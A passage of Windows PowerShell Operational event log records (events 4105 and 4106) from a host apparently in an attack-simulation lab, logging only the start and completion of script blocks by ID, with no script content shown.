SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050243
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050238
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050237
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050215
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050213
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050212
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
